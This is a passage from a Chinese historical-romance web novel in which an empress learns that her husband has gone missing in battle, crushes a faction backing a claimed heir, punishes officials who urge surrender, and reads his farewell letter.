十余名骑兵已围拢过来,枪尖在月光下泛着冷光。 生死的一瞬间,长枪刺来时,裴令仪当机立断。 他挥剑将袭击他的人斩杀,长枪也没入了他的肩膀。 借着长枪扎入肩膀的力道,裴令仪翻身滚入结冰的川流之中。 刺骨的寒意瞬间包裹全身,河水卷着碎冰灌进喉咙,他恍惚看见冰层上方有人影晃动。 下一刻就被火石砸落的火光侵蚀,震荡的轰鸣与碎石的炸裂在水中却显得平静了不少。 为了避开火石,他选择坠入川流之中,冰冷的湖水灌进喉管,肺部像被火钳灼烧。 但裴令仪早已经力竭,如同断线风筝般沉入水底。 疼痛和寒冷吞噬了意识,意识模糊前,裴令仪摸到怀中藏着的永生花。 寒意像毒蛇般缠上四肢,将他拽入深不见底的黑暗。 好像看到了一个人,裴令仪朝着那个静静地凝视着他的人伸出了手。 唇瓣无声地翕动,气泡从他的唇边滚动。 阿、姊…… 那个影子逐渐消失了,他只听到了远处若有若无的声音。 好像有人在喊主上,有人在喊撤退。 隐约听见远处传来那颜律张狂的大笑:“裴清都,你也不过如此!” 第120章 尸骨无存 元韫浓端坐于御案之后,螓首微垂,一杆紫毫朱笔悬在刚刚呈递上来的奏疏草案上。 新研的墨水泛着清冷的松烟香,朱砂浓稠得化不开,像凝结的血。 笔尖悬停,一滴饱满的赤色墨珠颤巍巍地凝在毫尖,将落未落。 她的目光凝固在依然对女官令怀有不满与反对的那些言辞之上,尽管那些词句已经委婉了许多。 元韫浓正欲发作,外头便传来马蹄声急促。 隐约可以听见“西洲急报”的字眼。 “轰——”殿外猛地传来一声巨响,沉重的宫门被什么东西狠狠撞开。 紧接着骏马濒死的、撕心裂肺的长嘶划破了死寂,满殿灌入风雪,带着浓烈的血腥气。 “殿下!”小满的惊呼被风雪声淹没。 孙鹃纨脸色剧变,转身冲向殿门。 殿门被从外面撞开,凛冽的风雪裹挟着刺骨的寒气狂涌而入,瞬间扑灭了殿中就近的那几盏灯。 马蹄声后,便是沉重的、踉跄的脚步声,伴随着浓重的血腥味和粗重的喘息,跌跌撞撞地闯入殿内。 “噗通”一声,重物重重摔倒在地的声音。 紧接着,是金属撞击地面的“哐啷”脆响。 死寂声里,只剩殿外风雪更紧的呼啸,和殿内浓得化不开的血腥味。 一个驿卒打扮的人伏在冰冷的地砖上,一动不动。 他背心插着几支折断的羽箭,身下洇开一大片暗红的血迹,已然气绝。 他显然是拼尽了最后一口气,将马驱入了宫中。 殿门内侧,散落着一副沾满泥雪和凝固血污的马鞍。 元韫浓缓缓站起身,一步步走向那副马鞍,脚步在死寂的殿中发出轻微的回响。 她在那驿卒僵硬的尸体旁停下,孙鹃纨单膝跪在驿卒旁边,目光落在马鞍侧后方一个不起眼的暗格上。 孙鹃纨打开格盖,露出里面一个鼓鼓囊囊的粗布袋子。 轻轻一扯,里面的东西就全部散落了出来,滚在冰冷的金砖地面上。 几则军报散落在地上,最近一道摔在了郑大人脚边。 郑大人扑跪下去,捡起最近的那一道,颤抖的手指试图展开那因为血水晕染冻结,而变得粘腻的军报。 他依稀辨认出几个支离破碎的词句,便如遭雷击,脸色瞬间灰败。 “我军折损三万!西洲第一城浔城失守了!”他猛地抬头,双眼布满血丝,声音尖锐得变了调,“他们现在已经退守忻城了!” “退守忻城?!”几个臣子发出惊雷般的暴喝。 “报——”又一声凄厉的嘶喊。 另一个浑身浴血的驿卒策马赶来,他翻身下马,连滚带爬地冲入殿内,手中紧紧攥着一个布囊。 驿卒扑倒在地,双手高举布囊,“北州全境沦陷,西洲又失一城!西北告急!” 众人听了一阵头晕眼花,看来是无论如何都阻拦不了那颜律的铁骑了。 孙鹃纨快速接过了布囊,递给了元韫浓。 元韫浓翻开军报。 驿卒的声音带着哭腔:“这是陛下留给娘娘的,几日前的会战,陛下被敌军所伤,坠入冰河之中。我军溃败,浔城已失,退至忻城。” 他越说越泣不成声:“元将军赶至忻城后,副将裴九一样不知所踪,忻城如今是副将萧煜在守,元将军前去找陛下踪迹了……只找到了陛下的剑和半截袖子,全是血,却不见尸首……如今下落不明,生死不知……” 生死不知…… 一股冰冷的腥甜直冲元韫浓喉头。 袖袍之下,她死死攥紧掌心,按住了凤椅的扶手。 用力之下,玉镯被扶手压出了裂纹,镯子里几粒小小的、包裹着深褐色蜜蜡的药丸无声无息地滚落了出来。 元韫浓看着那些小小的药丸顺着她冰凉的手指缝隙,悄然坠入脚边,越滚越远,再无痕迹。 她嗓子干涩,出征前几日,裴令仪亲手将这个镯子戴到她腕上,千叮万嘱让她贴身戴好的。 联想到裴令仪先前翻阅的解毒丹书籍,原来是在镯子里藏了这危急时保命的解毒丹。 未雨绸缪,事无巨细。 看来就因为这解毒丹,才叫她在遇上冷香屑时,没受到太大的冲击。 军报最后,只有两个字是裴令仪所写——我愧。 元韫浓凝视着羊皮军报上那湮灭在血污里的最后两个字,如同烧红的烙铁。 愧?愧什么?愧这连战连败?愧这山河飘摇?还是愧……未能如约归来。 一股尖锐的痛楚猛地攫住了她,喉头那股腥甜再也压抑不住,猛地冲了上来。 她死死咬住牙关,硬生生将腥甜咽了回去,齿间弥漫开浓郁的铁锈味。 眼前的一切开始旋转、模糊,脚下坚实的地面仿佛瞬间化为流沙。 “殿下!”就连身边霜降的声音都像是从遥远的水底传来。 元韫浓闭上眼,强行将翻涌的剧痛和眩晕压下。 “继续说下去。”她声音出乎意料的平静,犹如金石般的冷硬。 驿卒不敢抬起头,“怕是……尸骨无存……” 身着各色朝服的文武重臣,一时仓惶惊惧,纷纷匍匐在地,哭声、劝慰声、混乱的议论声交织成一片。 元韫浓没有动。 “下了浔城,过玉涵关,忻城之前,就是绝地!是死地!是埋骨之地!”裴氏宗老须发戟张,骤然弹起。 “三万大好儿郎死于非命!陛下亦是身陷险境,生死不明!”他一脚踹翻了身侧的炭盆。 通红的银丝炭与灼热的灰烬泼洒出来,几颗火星子溅射在旁边几个臣子垂落的官袍上。 周遭的几个臣子惊得下意识挪了一步,意识到元韫浓在上头看着,又止住了步伐。 裴氏宗老双目赤红,直戳凤椅之上的元韫浓,“全因朝中出了祸水!牝鸡司晨,天降灾祸!便是你那妖言惑众的女官令,乱了阴阳,坏了纲常,触怒了上天,才有此惨败!此乃亡国之兆!” 他一边咆哮,一面仰天大吼:“妖后乱我大裴啊!” “你住嘴!少在这里妖言惑众!”元蕴英怒不可遏,拔剑就要砍人,被岐王拦了下来。 元韫浓却没有动,凤冠之上玉旒微晃。 她的目光越过暴跳如雷的裴氏宗老,越过殿中惊惶战栗的群臣,穿过呼啸的风雪,望向北方。 那片被血色浸染的土地上,还有更多。 “宗老只是太过悲痛,被迷了心智罢了。”裴七叔赶紧站了出来,“不过如今,陛下生死未卜,多半是遭遇了不测。家不可一日无主,国不可一日无君啊!” 一个唱红脸,一个唱白脸。 元韫浓都能猜得到他要说什么。 果不其然,接下来这些人,以裴氏族亲为重,纷纷七嘴八舌地开始说了起来。 仿佛刚刚得到的噩耗不值一提,只是一个小小的插曲而已。 什么家国,什么君主,都没有他们眼前的那点蝇头小利重要了。 “眼下大裴已无做主决断之人,是需要尽快立新君啊!” “陛下还无子嗣,这又该如何是好?” “裴氏宗族直系之人所剩无几,陛下也没有兄弟子嗣,更是没有立储过,这该怎么办是好?” “是啊,如今大裴飘零,想来是气数将尽。” “要不然我们投降吧?北凉人残暴至此,再拖下去,恐怕是后果不堪设想啊。” “这……此时投降,倒确实是及时止损了。” “正是如此,再打下去,负隅顽抗,不仅亏空国库,劳民伤财,更是会激怒北凉人啊!” “投降也太过了,要我说,还不如说南迁呢。北凉人打过来还有一会呢,倒不如再往南迁,把北边让给北凉人求和呢。这样,还能保住半壁江山。” “这也不错啊,退到南州吧。南州地势之险,易守难攻,不怕北凉人打过来啊。” “北凉人打不来,又有我们将北边作为示好,他们未必不会同意双方相安无事啊!” 铜鹤香炉早已熄了香,唯有残灰里零星几点暗红,在穿堂而过的风中明灭不定。 元韫浓一动不动,听着底下这群人讨论得热火朝天。 没有一丝一毫的,对待西洲再失一城,君王生死未卜的悲痛与惊怒。 “皇后娘娘!”有人突然从群臣队伍里中踉跄爬出,“还请尽早降敌吧!” 有人开了这个头,接下来站在降敌这里的人也纷纷七嘴八舌地说了起来:“边军急报一日八百里,浔城城破,北州失陷!还是降敌的好!” “就连忻城也危在旦夕,皇后娘娘若再拖延,待到敌军铁骑南下,连京华百姓也将十不存一啊!” “北凉敌军铁蹄如沸,不如献城请降,尚可保百姓周全!” “住口!”另一边认为该南迁的臣子掷出笏板,“你们真是忘了本!” 他们的唾沫星子都快要溅在建议投降的臣子们脸上,“你们忘了列祖列宗的遗训吗?” 他们怒目圆睁,“我大裴子民,宁可站着死,也不跪着生!” “还想站着死?那就任由那些流民易子而食?”被喷了一脸唾沫星子的投降派臣子也将笏板狠狠摔在地上,“死守不过是让大裴的万千生灵陪葬!” 他们转身对元韫浓跪下,“娘娘,军心已散,大势去矣啊!” 南迁派同样不甘示弱,额角重重磕在砖上,“殿下,裴之大业不可弃啊!还是南迁,与北凉议和,井水不犯河水的好!” 元韫浓看着眼前这些竟要她将大裴基业拱手敌寇的“忠臣良将”们,险些笑出了声。 元韫浓端坐于御案之后,脸上没有任何表情,像一尊精心雕琢的玉像。 “倘若陛下真是龙驭宾天,国之大殇。”元韫浓的声音不高,却清晰地盖过了殿中的嘈杂。 带着一种不容置疑的穿透力,元韫浓问:“然国不可一日无君,西洲烽火未熄,当务之急,诸卿何以教本宫?” 岐王当下便站了出来,“殿下节哀!当务之急,宜速议对策,安定朝纲,以御外侮!” 他身后一片附和之声。 “还要御敌?”投降派的臣子猛地抬头,“北凉铁骑已破北州!那颜律挟大胜之威,兵锋直指京华!此刻还要再战?当务之急是投降!是保全社稷!” “是该议和!然后南迁!”南迁派立即道,“再迟疑,再战,便是玉石俱焚了啊!” “议和?!”元蕴英怒火攻心,“陛下只是不知所踪,不是死了!就算当陛下当真遭遇不测,他如今尸骨未寒你就想着议和了?” 郑女幼同样声援:“北凉乃我大裴世仇!议和?简直是奇耻大辱!就该死战到底!” “死战?拿什么死战!”那几人几乎是吼了出来,“东营军西营军北营军全在西洲了!前不久大半南营军也前去西洲了!几乎整个大裴的军力都在那里!即使是这样都打不过,还有什么必要再战!” 他们甚至口不择言了起来:“若不是你们元氏打不过,何至于议和?” 此言一出,他们意识到说错话了,小心翼翼地回头看了一眼上边的元韫浓。 见元韫浓并无反应,才稍微放下了心。 他们道:“粮草转运艰难,北凉人还如狼似虎,士气正盛。死战,就是拉着整个大裴陪葬!” “够了。”元韫浓道。 争吵声戛然而止。 所有人的目光再次聚焦到元韫浓身上,带着惊疑和一丝不易察觉的试探。 “诸卿觉得,本宫又该如何?”元韫浓没什么情绪地问。 她的视线落在了裴氏宗族那一块。 裴七叔被元韫浓毫无温度的目光看得心头一寒,但还是扑通一声重重跪倒。 “陛下生死不知,当立新君!陛下无子嗣,而臣等近日在市井之中寻到了老清河王血脉,陛下亲弟!”他高声道。 一片哗然。 众人看向元韫浓的表情,元韫浓神情如旧,没有变化。 她平淡道:“既如此,宣上殿来一见。” 在裴氏宗族的簇拥下,一个身着灰色锦袍的少年走了进来。 少年面容清秀,眉眼间确实与裴令仪有三分相似。 “皇后娘娘。”为首的裴七叔道,“此乃先帝流落民间的幼子,依祖制,应承继大统。” 第121章 陛下亲弟,认祖归宗 元蕴英勃然大怒,“什么?哪里来的野种!” 孙鹃纨怒容满面,“这天下是陛下和娘娘一同握在手里的,跟你们裴氏有多少关系?先前打江山受苦受难的时候不见得你们出力,现在享福了来分一杯羹了?” “老清河王去世多年,又怎能证明此子是其血脉?”沈川眉头紧锁。 裴七叔顿了顿,眼神示意身旁的灰衣少年。 少年上前一步,“臣裴旁,见过皇后娘娘。” 元韫浓静静地听着,唇角的笑意愈发冰冷。 裴旁躬身,“臣虽未尽孝父母亲膝下,也并未享用荣华富贵,学习文韬武略,但如今大难当前,臣也愿意力挽狂澜,支撑起大裴。” “真是大义啊!”裴氏族亲似乎感动至极,纷纷赞叹不已。 元蕴英险些被气笑了,“你在这里装什么呢?好像多委屈你一样,难道五郎是一路荣华富贵,坐享其成吗?” “正是如此,况且既然从未学过文韬武略,处理政见,又如何治理家国?”沈川道。 自从大理寺卿被元韫浓查出来通敌之后,沈川更是晋升成了大理寺卿。 就连慕水妃都笑话他说,他能如此年少有为,多亏了前头那些人拎不清都被元韫浓处决了。 “大理寺卿此言差矣,裴旁虽年幼,但有满朝忠臣辅佐,又有我们这些宗老从旁教导,何愁不能治理好江山?”裴家族老道。 “这所谓的老清河王血脉,仅凭一面之词,又如何能让人信服?”孙鹃纨拧眉,“何况就算是真的,一个私生子,有什么道理来继承正统?我们殿下还在上边坐着呢。” “陛下已去,娘娘又是何苦?千金之躯,何需如此受苦呢?”裴氏族老道。 “孙副将何必揣着明白装糊涂?”裴七叔冷笑道,“如今陛下生死未卜,为了江山社稷,立新君是当务之急!” 孙鹃纨的眼神瞬间冷了下来,心中已然明白,这一切都是早有预谋。 “裴旁。”她轻念着这个名字,眼神冰冷,“你可知这京华,从来不是那么好待的?” 裴旁一凛。 他原本听这些宗老所言,只以为元韫浓是什么深闺之中被保护得很好,对什么事情都一无所知的柔弱皇后而已。 本想着这一切都会非常顺利,没想到反对的意见也会那么激烈。 更没想到元韫浓还有那么多拥趸。 孙鹃纨的目光再次扫过众宗老,“既然各位如此笃定的身份,那便请出确凿的证据,否则,仅凭几位宗老的一面之词,我等难以信服。” 裴七叔脸色一沉,“孙副将这是在故意刁难我等啊!如今局势危急,哪有时间去寻找什么证据?” “呵呵。”郑女幼冷笑一声,“没有证据,就想让这来历不明之人登上皇位,你们莫不是在痴人说梦吧?” “老东西。”元蕴英是演都不演了,连点好脸色都不想给,“你确定这裴旁是老清河王的血脉?这家伙不久前还在街边上乞讨吧?” 她说怎么看裴旁多少眼熟呢,不就是之前在街边上乞讨的那几个乞儿里面其中一个吗? 沈川不知道这事,听了更是觉得不可思议,觉得荒谬。 他问:“你们凭借什么东西将他认成裴家直系的血脉?为什么现在又拿不出证据来?这其中的蹊跷,你作何解释?” 裴旁脸色瞬间变得惨白,他没想到元蕴英一眼就看出了破绽。 但他很快镇定下来,“莫要血口喷人,我先前流落民间,又有何不可?” “哦?是吗?”孙鹃纨挑眉,“那证据呢?那为何老清河王从未提起过此事?要我去查吗?” 裴旁面色灰白,见四周的臣子有些动摇,扑通一声跪在地上,“皇后娘娘,臣有证据!” 此言一出,哪怕是旁边的裴七叔也惊异地看了过来。 就连他们自己都不知道裴旁有证据。 他们找到裴旁,也只是从清河王府老仆那里的一面之词,根本没有求证。 因为对于他们而言,裴旁血脉是真是假根本就不重要。 他们只需要找到一个合理的傀儡,能推动他跟裴令仪和元韫浓夺权就够了。 裴旁道:“臣身上有老清河王的信物!” 他取出身上的一枚玉佩,双手高举过头顶。 裴氏那些人顿时欢欣鼓舞起来:“是裴氏祖传的玉佩!” “这足以证明裴旁的血脉了!” “可见其是老清河王亲子,只是流落民间,多年不得认祖归宗而已!” 元韫浓看向郑女幼,郑女幼最擅长鉴宝。 裴令仪的确跟她说过,清河王府嫡系几乎是一脉单传,传下来一枚玉佩。 可惜是丢失了,否则就送了她打成首饰。 郑女幼接过玉佩,上下端详之后,“确实是美玉,是宝玉,上面的这个应该是清河王私印。” “这么说来,这玉是真的了?”元韫浓终于开口了。 那么这样说来,裴旁的身份也多半是真的了。 元韫浓轻嗤一声。 她觉得可笑。 她替追随老清河王而去的清河王妃感到不值,也替被丢下一个负重前行的裴令仪感到不值。 瞧着多么重情重义的清河王,还藏了这么个隐患,丢给年幼无知却一个人挣扎求生的裴令仪。 裴旁见他们确认了玉佩,高声道:“臣之生母虽是一歌女,但与清河王相爱从未诞下了臣。” 他说:“清河王虽未给母亲名分,但却留下了玉佩!只待臣成人之后,拿着此等信物,前来相认!只是清河王身死,母亲也郁郁而终,只留下臣一人无依无靠!而今能认祖归宗,臣此生无憾了!” “此生无憾?”元韫浓弯起唇角,满含嘲弄。 裴旁说出了令众人都意想不到的一句话:“臣不求登基,不求入朝为官,也绝不会与殿下,与将来殿下和陛下的孩子争夺什么。” “住口!”裴七叔猜到了他要说什么,当即怒喝一声,眼中闪过一丝杀意。 他深知,一旦裴旁那么说,他们的计划就彻底泡汤了。 裴旁这是见识了其实元韫浓在朝中根深蒂固,性子也不是什么软弱可捏的人,所以想要反水了。 想着得不到权势,就退一步把他们这些人全都给出卖了,自己获得荣华富贵。 元韫浓缓缓起身,凤冠上的东珠相互碰撞,目光扫视着满堂宗老,“继续说下去。” 她的声音不高,但字字清晰,不容置喙。 裴旁露出一抹势在必得的笑:“臣乞命,愿与娘娘做奴,臣只求皇后娘娘赏赐臣偏安一隅,大裴任何一处的封地。臣即刻前往封地,永不回京。” 在所有人看来,这是眼下最好的选择了。 只要元韫浓愿意退一步,就可以永远去除裴旁这个隐患。 双方相安无事,叫裴氏族亲竹篮打水一场空。 裴氏之人接紧张地看向了元韫浓,生怕她答应了这个请求。 眼下他们是恨不得将反水将他们卖出去,自己求荣的裴旁千刀万剐了。 “如此看来,真是委屈了你。”元韫浓平静地说道。 “臣不委屈。”裴旁自以为大势已定,笑了笑。 “那好。”元韫浓轻声道,“本宫便赐你……” 裴旁仰起脸看向元韫浓,压抑不住的兴奋和勃勃野心。 元韫浓眉目舒展开,带了一丝笑:“五马分尸。” 裴旁脸上的笑僵硬住了,凝固在脸上化作了不可置信和惊惧。 甚至连一边的裴氏族亲和臣子们脸上都是不可思议。 裴旁抛出了橄榄枝,一个温和的台阶,可元韫浓偏偏却踏碎了不屑一顾。 她不仅反叛,还相当残酷,在这样的情形之下用了这样的严刑峻法。 她真是半点都不顾。 “这江山靠的可不是裴氏,是清都和我们元氏打下来的。出力时候装聋作哑,这会想要分一杯羹了?”元韫浓嗤笑,“痴人说梦。” 她冰冷道:“别提是什么老清河王血脉,就算是老清河王本人来了,这江山也没他的份。” 众人愕然。 “别说清都尚在人间,就算是他死了,碎成千片万片了,这江山也落不到你们裴氏的手里。”元韫浓道,“本宫还活着呢。” 元蕴英回过神,抬了抬手,“带下去。” 禁军一拥而上,拿下裴旁。 裴旁奋力挣扎,吼道:“我是裴家子!我是清河王亲子!我是裴家直系最后的血脉了!元韫浓,你岂敢杀我?你竟然断裴氏的血脉!” 他话还没说完,就被禁军堵住了嘴,呜呜呜地讲不出话来。 元韫浓没有理他,也没有给他一个眼神,而是看向了面色惨白如纸的裴氏宗族,“至于你们结党营私,妄图谋权篡位,今日绳之以法,也算是你们罪有应得。” “拿下,送入大狱,斩。”元韫浓冷冷地说道。 裴氏族亲一听,更是乌泱泱跪了一地,哭喊着饶命,或是哭喊此事与自己无关。 裴七叔见大势已去,反而镇定下来,恨恨地盯着元韫浓,“元应怜,你别得意得太早!就算我倒了,裴氏倒了!还会有其他人来对付你,你对那颜律还能那么横吗?” 元蕴英听得眉头紧皱,一脚踹在了裴七叔的膝弯上,迫使他跪下。 他依然双目赤红地看着元韫浓,“陛下生死未卜,你一个女人,又能撑多久?我等着看,看你的下场!会比我们惨上千倍万倍!” “能撑多久,不劳叔公操心,就看本宫的手段了。”元韫浓走到他面前。 她居高临下地看着裴七叔,“无论了结本宫的人是谁,是那颜律还是什么,你只需记得,你的命是了结在本宫手里的,那就足够了。” “元应怜!你……”裴七叔剩下的话语自然也没有机会说出口。 臣子们心惊胆战地看着裴氏族亲被拖了下去,哭喊声与求饶声越来越遥远。 他们只得低下头,降低自己的存在。 元韫浓冷漠地收回了目光,转向了方才投降派最首要的臣子——右谏议大夫。 “方才右谏议大夫有事要禀,说吧。”她道。 右谏议大夫看着被拖下去的裴氏族亲,知道元韫浓此刻问起来就是要清算了。 他咬了咬牙,豁出去了,声音带着孤注一掷的尖锐:“北凉来使言道那颜律敬仰娘娘才德,若娘娘肯纡尊降贵,亲赴北凉王庭,暂居为质……则北凉愿意议和!” “为质”二字一出,如同在滚油中泼入冷水,整个大殿瞬间炸开。 屈辱、愤怒、惊骇的斥骂声浪几乎要掀翻殿顶。 “无耻!荒谬绝伦!”元蕴英得浑身发抖,“枉你也说得出口!” 岐王急声道:“殿下万万不可!此乃奇耻大辱!国将不国!” 右谏议大夫猛地抬头,“娘娘!臣知此言万死,然此乃权宜之计啊!留得青山在,不愁没柴烧!为了大裴的江山社稷,为了黎民百姓,还请娘娘三思!暂忍一时之辱啊!” 他身后,竟也有几个投降派的官员面色惨白,眼神闪烁,跟着他重重叩首下去。 “请娘娘三思!”那附和微弱却清晰。 一股冰冷的怒意,从心底最深处升腾而起,翻腾起杀意。 元韫浓的目光,缓缓扫过丹墀下那一张张或愤怒、或惊恐、或躲闪、或隐含期待的脸。 最终,落在了右谏议大夫的脸上。 她的声音依然平静:“取圣旨来。” 霜降连忙去取来一个匣子,从中取出一个明黄色的卷轴。 丝帛厚重,两端镶嵌的玉轴温润剔透。 元韫浓接过圣旨,面对着满殿文武,抖开了圣旨。 “哗啦”一声,明黄的丝帛展开垂落,上面两种截然不同的笔锋交相辉映。 两种笔迹,一朱一墨,如同两条相互缠绕、互为支撑的虬龙,盘踞在丝帛之上。 在卷轴最下方,两方鲜红刺目的印玺,一方是裴令仪的玉玺,另一方赫然是元韫浓的凤印。 “右谏议大夫,近前来,好好瞧瞧上边写着什么。”元韫浓道。 右谏议大夫迟疑着近前去,浑浊的老眼死死盯着那卷轴,嘴唇剧烈地哆嗦起来。 他失声念出来:“孤与皇后元韫浓,膺昊天之眷命,共理阴阳,同治大裴……” 第122章 与妻书,诀别信 后面的字右谏议大夫已念不下去。 但那并排的帝后玺印,那两种笔迹共同书写的诏文,已经足以证明一切。 元韫浓平静地垂着眼,“接着念。” 右谏议大夫只得接着念下去:“皇后聪敏睿智,深谙政要。设若孤躬未克生还,皇后威望素著,当承社稷之重。即由皇后正位监国,权摄朝政,总揽万机。” 越念到后面,他额头上的冷汗就越淋漓不止,“内外臣工,视孤亲临。敢有不遵诏命、心怀异志、或行悖逆者……” 他再一次停了下来,冷汗连连。 “念。”元韫浓道。 右谏议大夫哆嗦着念:“敢有不遵诏命、心怀异志、或行悖逆者……杀无赦……钦此……” 心怀鬼胎的人更是没了冠冕堂皇的理由,尤其是右谏议大夫,脸上的血色瞬间褪得干干净净,几乎瘫软在地。 那几个随他叩首的官员更是面无人色,抖如落叶。 孙鹃纨最先伏下身,额头重重磕在金砖上,“臣谨遵陛下与娘娘诏书,皇后万岁,万岁,万万岁!” 短暂的、令人窒息的死寂后,臣子们跪成黑压压的浪潮,响起山呼海啸般的叩拜声浪。 “臣等谨遵陛下娘娘诏书!” “皇后万岁!万岁!万万岁!” 声浪在巍峨的殿宇中回荡,元韫浓面无表情地听着这山呼,目光冷冽如冰。 这或许是她逼迫这些臣子们也得喊她万岁之后,他们山呼万岁最诚心的一回。 因为他们担心自己人头落地的恐惧,超越了对她的不满。 元韫浓缓缓扫过下方每一张脸,最终定格在那瘫软如泥的右谏议大夫身上。 “小满。”元韫浓道。 “在!”小满立刻上前。 “传本宫令。”她的命令如同冰珠落地,带着金戈之音,“诏令西洲残存诸军,收拢部众,固守待援。凡有擅退一步者,斩立决。” “诏令京畿元氏部曲私兵,整军,备战。” “诏令天下州府,粮秣、军械、丁壮,按战时律令,即刻征调,不得延误。” “着岐王、大理寺卿、郑翰林学士会同六部主官,总揽朝政,稳定后方。凡有延误军国、动摇人心者——” 元韫浓声音幽冷:“杀无赦。” “臣等遵旨!”以岐王为首,众臣肃然应诺。 不少人面面相觑,元韫浓这意思,是打算还要派兵去战吗? 还有谁能战?如今留在朝中的武将,重要的只剩下岐王、元蕴英和孙鹃纨三人。 再派人出去,京华守备空虚,容易被攻下啊。 但是元韫浓没说,眼下他们也不敢再问。 “右谏议大夫。”元韫浓微微一顿,嘴角勾起一丝极淡的弧度,“拖出去,剐了,头颅悬于城门示众。” 众人倒吸一口凉气。 这种关头,元韫浓连斩连杀那么多人,这个魄力,这个铁血手腕。 元韫浓笑了一声:“本宫要那颜律知道,投敌的狗是什么下场。” 死寂里,只有殿外凛冽刺骨的寒风吹过声。 元韫浓的目光再次投向那瘫软在地的右谏议大夫身后,方才附和的投降派臣子。 “至于你们。”元韫浓的声音平静无波,却让他们如坠冰窟,“流放去北凉。” 这几人抖得如同风中残叶,想要求情,却又一个字都说不出来,生怕流放变斩首了。 他们怎么样都比右谏议大夫好。 “除了说投降的,还有方才说南迁的,也很好。”元韫浓微微颔首,嘴角弧度加深。 “那本宫北上期间,就劳烦说要南迁割地的几位爱卿祈福了。”她逐一扫视过那几个同样抖如筛糠的官员,“这些日子不必上朝了,每日辰时身着素服,于宫门前向北长跪,为本宫与陛下祈福。” “跪到本宫归来,或是大裴倾覆为止。”元韫浓柔声道。 这几个臣子犹如被抽走了脊梁骨,他们最好面子,这是日日示众,钝刀子割肉啊! “本宫不希望再听到什么怯战之论,若再有人动摇人心,说陛下身亡。本宫便成全你做个忠臣,一块去陪陛下。”元韫浓道。 先前他们或许总想着她不敢再杀他们,这会他们也应该明白,不管是谁来,她都会杀。 元韫浓语罢,不再看众臣子,转身在霜降的搀扶下,离殿而去。 宦官高喊退朝。 元韫浓被扶着踏上凤驾,坐在温暖的车内,她阖上眼眸。 “启程。”片刻后,元韫浓的声音透过厚重的车门传出。 “起驾——”宦官尖利悠长的唱喏刺破寒风。 车轮辚辚,碾过青石板路。 元韫浓靠在玄木车壁上,指尖无意识地抚过驿卒带来的那个布囊。 除了军情,布囊里只剩下一封裴令仪的亲笔信,还有一枚只嵌了红宝石的素簪。 想来是裴令仪想要打造雕刻,却还没来得及。 裴清都,前世算,今生算,你算计了一辈子,难道死都要给留下这么个烂摊子。 你怎么能死?你又怎么敢死? ……也好。 这盘棋,我替你下完。 要么赢,要么一起输得干干净净,什么都别留下。 夜色如墨,沉甸甸地压在禁宫之上。 凤仪宫内殿殿内只点了一盏孤灯,豆大的火苗在灯罩里不安地跳动,将元韫浓的身影投射在墙上,摇晃不停。 白日里喧嚣的凤冠、繁复的翟衣早已卸下。 她只穿着一件素白的中衣,墨黑的长发如瀑般披散下来,衬得脸色在昏黄的灯火下愈发苍白。 如同上好的薄胎瓷,一触即碎。 唯有那双眼睛,像燃尽了所有情绪后剩下的两簇幽冷冰焰。 元韫浓拆开了那封写着“阿姊亲启”的信,展开信纸。 裴令仪的字迹带着一种近乎温柔的潦草,仿佛是在极匆忙、极紧迫的情形下写就。 就连墨迹似乎都带着浅淡的血色,似乎是墨不过,以血来凑。 阿姊吾妻如晤: 见此信时,不知生死。玉涵关前恐是死局,生死未知,是我愧对阿姊。 不必为我悲恸。你我皆知,这江山是你方唱罢我登场。只是未能与阿姊同老,是我此生之憾事。 朝中诸公,可用者用,可杀者杀。 普天之下可以下完这盘残棋者,唯有阿姊一人。无论输赢,我都认。 阿姊总笑我啰嗦,可还是且容我再絮叨一回吧。 今冬风雪大,阿姊记得关窗,切勿在窗边只着单衣小憩,去岁阿姊便为此染了风寒,咳了半月。雪夜难眠时含一片参片,莫仗着炭暖便硬抗。 阿姊,你看见这雪了吗?送我远征时,你说白头。彼时你我发间皆落满碎雪,而今浔城雪更深,盔甲尽白,却不能拂去阿姊眉间霜寒。 念及此后岁岁隆冬,阿姊莫再为我守岁,若觉冷清,岐王府琼花树下,埋有青梅酒。阿姊可取饮,小酌一杯,但不可多饮。 凤仪宫殿前琼树,我已命人斫去虬枝。今冬雪大,恐枯枝断落惊阿姊清梦。来年,阿姊便能见琼花如雪了。 阿姊需替我多看看春日的金明池涨绿夜雨,夏夜的流萤穿荷,秋晴时南飞的雁阵,一一看遍。 雪更急了,寒气浸骨,倒生出几分暖意来。 夜半恍惚间,我曾见阿姊提灯立于风雪中,鬓发皆白,唤我回家。 我们约好的,要一起去看春雪。 血墨已冻,勿念,勿为我守。 阿姊,千万珍重。 夫清都于浔城绝笔 信的末尾,字迹愈发凌乱,墨迹越淡越浅。 没有朱砂御印,只有一点早已干涸的红褐色血迹。 像一颗凝固的泪,又像一枚无声的烙印。 元韫浓握着信笺的手有些颤抖起来。 原来裴令仪连身后事,都算得如此决绝。 元韫浓取出那枚素簪,在灯下看着素簪,将它握在掌心里,红宝石却一点点融化了。 是红蜡。 她的指尖微微颤抖着,展开红蜡里面藏着的纸条,展开在昏黄的灯火下。 红蜡混着凝固的血痂,字条上赫然被人写下了小如芥子的字—— 生当复来归,死当长相思。 灯苗在她深不见底的瞳孔里,剧烈地跳动了一下。 死当长相思?裴令仪是真的做好了赴死的准备。 无论前世今生,都是如此。 前世裴令仪在太医那里知道自己命不久矣之后,亲口告诉元韫浓的。 那时候元韫浓跟裴令仪正在僵持,他们没有后嗣,前朝的臣子却催命般地催促。 跟报复般,在裴令仪最后一次彻底镇压下北凉之后还朝,元韫浓挑衅似的去元氏抱了一个婴孩回来,假意说是自己与旁人生的,要留下来。 实际上那个孩子,她只是抱来养在身边几日而已。 裴令仪让她将孩子送去白云观,她却坚持要将孩子留在身边。 “那此子便不能是阿姊与别人的孩子,而是我与阿姊的孩子。”裴令仪在沉默之后道。 那会元韫浓才发现,裴令仪是真的不在乎。 他不在乎这个孩子身上有没有流淌自己的血,他只要元韫浓的认可。 元韫浓觉得不可置信,然而翻涌在内心深处的,是一种难言的愤怒。 就连她自己都说不清楚自己在气什么,更深的却是一种无力。 而裴令仪平静地告诉她:“阿姊不必忧心,太医给我诊过脉了。将死之人,命不久矣,我不会再缠着阿姊很久了。” 元韫浓凝滞片刻,然后生涩地开口问:“大限将至,告诉我做什么?” “不做什么。”裴令仪摇了摇头。 他的睫毛扑朔了一下,“我只是觉得,阿姊知道此事,会高兴的。” “你觉得我会高兴?”元韫浓看着他,笑出了声。 “阿姊会高兴的。”裴令仪轻声道,“没有我,都会好的。” 前世报死讯,今生托死后。 元韫浓盯着那一行诗,无比艰涩。 